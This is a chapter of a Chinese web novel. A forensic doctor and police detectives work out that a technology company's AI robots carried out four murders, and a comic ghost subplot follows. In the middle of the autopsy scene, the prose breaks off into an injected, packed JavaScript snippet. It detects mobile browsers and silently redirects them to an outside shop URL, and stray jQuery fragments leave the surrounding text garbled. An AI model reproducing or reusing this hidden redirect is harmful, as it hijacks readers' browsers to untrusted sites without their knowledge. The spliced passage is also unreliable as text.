冯少阳刚才听了个七七八八，不用段司昭问就主动招了：“我承认，我在网上发视频骂过WR家生产的一款女性机器人。”
他咬牙切齿：“这个WR是真不要脸，这么大一家公司，居然侵犯我女神的肖像权，用我女神的脸去做x服务机器人。”
“最恶心人的是，宣传时故意放出照片，惹得我们粉丝全网谩骂给他把热度炒上去，等正式预售时，他转头就把我女神的脸魔改。”
冯少阳还隐隐骄傲：“我气不过，用我打游戏的账号发视频骂他们，全网点赞快一百万呢。”
段司昭：“……”
这么高的热度，人不弄你弄谁啊。
既然已经找到四名死者与WR和王英之间的联系且确定他们之间都存在着矛盾，那么接下来的事就好办了。
现实里的证据但凡发生过，就会留下影子。
第二天一早的晨会上，段司昭抛出引子：“我记得2号死者有一个女儿。”
徐良立刻接话：“一儿一女呢。”
“说起来也是可怜，我们上门时，小姑娘看起来还不知道母亲已经离世，天真的追着我们问她妈妈去哪了。”
徐培性子向来活泼，段司昭一打开话题，他就止不住的感叹道：“太可怜了。”
“小姑娘看起来漂漂亮亮的一个粉团子，还跟我们展示她跳舞拿到的奖状呢，三四岁就有这能力，太了不得了。”
“学舞蹈的吗？”
段司昭等的就是徐培的这句话：“我记得3号死者是舞蹈老师。”
有时候，不用说的太清楚。
在场的都是老狐狸，哪怕是蛛丝马迹他们也能敏锐捕捉到。
几人对视一眼，立刻展开搜查。
不到半个小时，就让他们查到了张辉出轨赵珊的证据。
照片被扔在桌上，徐良叉着腰打抱不平：“太恶心了。”
“之前完全没把赵珊跟张辉联系在一起，四名死者看起来八竿子打不着的关系，没想到赵珊竟然就是张辉出轨的对象。”
经验丰富的刑侦大队长李崇光盯着人物关系图若有所思，“有没有可能，这四名死者与张辉或者王英直接还有什么联系人我们不知道的？”
之前他们只是习惯性的去调查四名死者之间有没有联系。
但，如果是他们彼此之间没联系，但是跟凶手有联系呢？
警方用了两天的时间，终于理清楚整个受害者与嫌疑人之间的关系网。
“特别是冯少阳。”
大会上，李崇光面色凝重：“4号死者生前在社交平台发布的那条视频，点赞破百万，引起全网对WR的讨伐。”
“根据官方数据显示，那一周，WR的市值蒸发掉整整十亿，预售退款率超过百分之五十。”
徐培感叹道：“破人钱财，这已经等同于杀机了吧？”
徐良也想到一件事：“当时看张辉的神色，赵珊的死亡应该不在他的预料范围之内。”
“甚至当时听说赵珊死了时，他表现的很意外，比他老婆死了还心痛。”
段司昭靠坐在椅子里，懒洋洋的掀开眼皮：“赵珊才是张辉的真爱。”
“他大费周章给自己女儿转舞种，从芭蕾舞转到教中国舞的赵珊那里。”
“恋爱期间表现的也很大方，根据资料显示，张辉跟林溪婚后除了有必要的共同活动会一起出席以外，基本就是男主外女主内各司其职。”
“但恋爱期间，张辉甚至冒着爱妻人设破碎的风险也要带赵珊去游乐园玩。”
这不是真爱是什么？
徐培对这种变态的心理并不完全理解。
他只是觉得疑惑：“既然张辉这么爱赵珊，怎么又委身于王英了呢？”
甚至连性取向都变了。
“赵珊家里有钱，但是王英不仅有钱还有权啊。”
段司昭一语戳破：“你但凡看看张辉的发家史呢？”
徐良补充：“段法医说的没错。”
“根据我们对张辉的调查，发现他这人其实肚子里没多少墨水。”
“刚毕业凭借与何恬恬的婚礼，拿着何家资助的钱开了公司。”
“在公司危急时刻，他追到赵珊，通过已有的光鲜亮丽身份，从赵家那边获得一笔不菲的投资。”
“但金钱堆砌爬的很慢，只能解燃眉之急。”
“王英就不一样了。”
“WR和王英，对张辉来说就是无量前途，牺牲pg算什么？”
徐培默默捂着自己的pg：“太变态了。”
“原来我穷是因为我不够变态。”
段司昭扫他一眼，面不改色的补刀：“富豪也是看脸的。”
徐培：“？？”
真恶毒啊段法医。
“但现在的问题是，王英跟张辉都有不在场证明。”
徐良把话题拉回来：“雇凶杀人也不现实，我们调查了王英和张辉的账户，并没有发现大额异常转账的情况。”
“如果凶手不是人呢？”段司昭一句话，直接让众人头皮发麻。
会议室陷入一种诡异的安静。
徐培浑身起了鸡皮疙瘩，紧盯着段司昭。
她把玩着钢笔，徐徐抬眸，说出的话听起来很离谱但莫名又有信服力。
“别忘了WR是做什么的。”
众人倒吸一口凉气。
机器人杀戮这种猜测太逆天了，在整个案件史上都是前所未有的。
但不知为什么，看着段司昭这张脸，没人说得出反驳的话。
段司昭摆出一排照片，是四名死者的致命伤照片对比。
她双手展臂撑在会议桌上，将照片投影在大屏幕。
清冷的声音说出的话让人理智与感性在打架。
“四名死者，除了死状惨烈的赵珊以外，无论是伤口深度还是长度都一模一样，极其精准的力道控制，在不同人的身上体现的淋漓尽致。”
“如果不是有强大算法精准控制的AI机器人，试问，什么人能完美做到这些？”
“就算有这么牛的人，那如何能同时做到完美四杀呢？”
众人陷入沉思。
段司昭手指在电脑上操作，一款机器人的性能展示投在大屏幕上。
她持续扔出炸弹：“WR公开内测的这款机器人，无论是性能还是机械融合程度，完全能做到与真人无异。”
ppt往后翻页，产品功能重点介绍了机器人可拆卸组合成不同功能型产品的手臂，甚至机器人的小臂单独拆卸下来，拥有无人机摄影等功能。
段司昭：“这款机器人体内配备了目前市面上最强大的AI算法程序，在程序主人的确认下，可以开启自主意识。”
在此之前，段司昭并不关注人工智能机器人的发展，对她而言是完全陌生的领域。
是宋绥溟家那个全智能化的实验室刷新了她对现代机器人发展的认知。
宋绥溟的实验室里，从生命监测到生理维护甚至根据安季夏所说，她曾经做过两台高精度手术都是机器人完成的。
“机器人完全拥有比人类更加精确的数据和技术支持，培养一名出色且能够独立手术的医生需要十几年起步，但机器人不一样。”
“他们共享数据库，一个机器人完成过，就代表所有机器人都同时拥有这项技能。”
机器人，能服务于人，也能凌驾于人。
科技主导的时代，没什么是不可能的。
会议室里，诡异的寂静。
恐怖如斯数据给他们带来的冲击，不亚于扭转整个世界观。
段司昭投射出林溪和赵珊的二次尸检照片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634830|206467||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，两人的手臂有明显的压痕。
“这是人死亡1-2个小时候的肌肉松弛阶段，尸体被人为改动的形状时留下的印痕。”
照片放大。
段司昭手持红外线笔指着那一块区域。
“压迫感像人的手，但结构不完全相同。”
她随手滑动，机器人手部的细节图投影出来。
“如果是这只手呢？”
“这样看，是不是一模一样。”
这个猜测太离谱了，以至于众人脸上并没有案子即将告破的轻松，更多的是一种，诡异。
如果是这样，怎么搜查证据都是一个问题。
搜查时，对外宣传说怀疑他们的机器人杀了人？
谁信？
人家只会觉得他们整个公安厅都被逼疯了。
段司昭做了她能做到的所有，接下来怎么做就是刑侦队该考虑的问题。
虽然很离谱，但在没有任何思路的时候，刑侦队不会放过任何可能性，哪怕这的确颠覆认知。
好在，李崇光很给力，带队熬了几个通宵后，真让他找到了蛛丝马迹，调查令下来的第一时间，李崇光带队到WR，在废弃车间搜到那四台机器人。
程序破译需要时间，但张辉跟王英已经抓捕归案。
王英一开始不承认，甚至对警方的审讯表现的胜券在握，态度也很挑衅。
直到一周后，证据摆在他面前，王英脸上的从容自信一点点崩盘，交代了所有事。
林溪是张辉要死的，她占据着张辉妻子的身份，张辉对外营销的好男人人设就像是一颗不定时炸弹。
只有林溪死了，这颗炸弹才会彻底沉寂不会爆炸。
赵珊是王英杀的。
因为忮忌。
王英心里，年轻漂亮的赵珊占有一席之地，男人的忮忌往往来的悄无声息且极度致命。
何恬恬跟冯少阳的死，是挑衅，是惩罚，是复仇，也是某种刺激的实验。
王英称之为：为科技献身是他们的荣幸。
“变态至极。”
从审讯室出来，徐良破口大骂：“就这种人，也配称得上科技新贵？”
“还好给他抓了，不然以后社会都要被他霍霍完蛋。”
其他人脸上神色也不算好看，但没有徐良这么冲动情绪外露。
拥有自主意识的机器人，放在几年前，说出来完全就是鬼故事级别的。
而现在，人们似乎都在期待所谓的科技改变生活。
段司昭把死者遗体分别跟他们家属完成交接之后，接到了快递电话。
她买的手机到了。
连日的忙碌与疲惫让她都忽略这件事了。
收到手机没看到穷鬼的那一刻，段司昭狠狠松了口气。
为了验证某种猜想，她给隋雅发了条语音。
“在吗，借我一万买个手机。”
隋雅：“？就一万块钱，用得着借？”
段司昭生怕富婆姐大手一挥给自己赚十倍百倍的，连忙一通语音电话过去。
“就一万，别多转。”
她义正言辞，“多了我不要。”
“行吧行吧。”隋雅知道她对钱没兴趣，也没坚持。
上次那五十万她都转头就退还回来了，爷爷说得对，段司昭这种视金钱如粪土的人，世上很少见了。
隋雅很快转了一万过来。
钱刚到账，穿着富贵而张扬的穷鬼缓缓在她面前探出头。
之前跟着她衣衫褴褛的穷鬼，自从收了那五十万后，肉眼可见的风光起来。
“桀桀桀桀。”
穷鬼阴森森的笑着，抬手往段司昭的新手机一指。
“笑纳了。”
下一秒，“段法医！快！！让一下！！”
“砰”！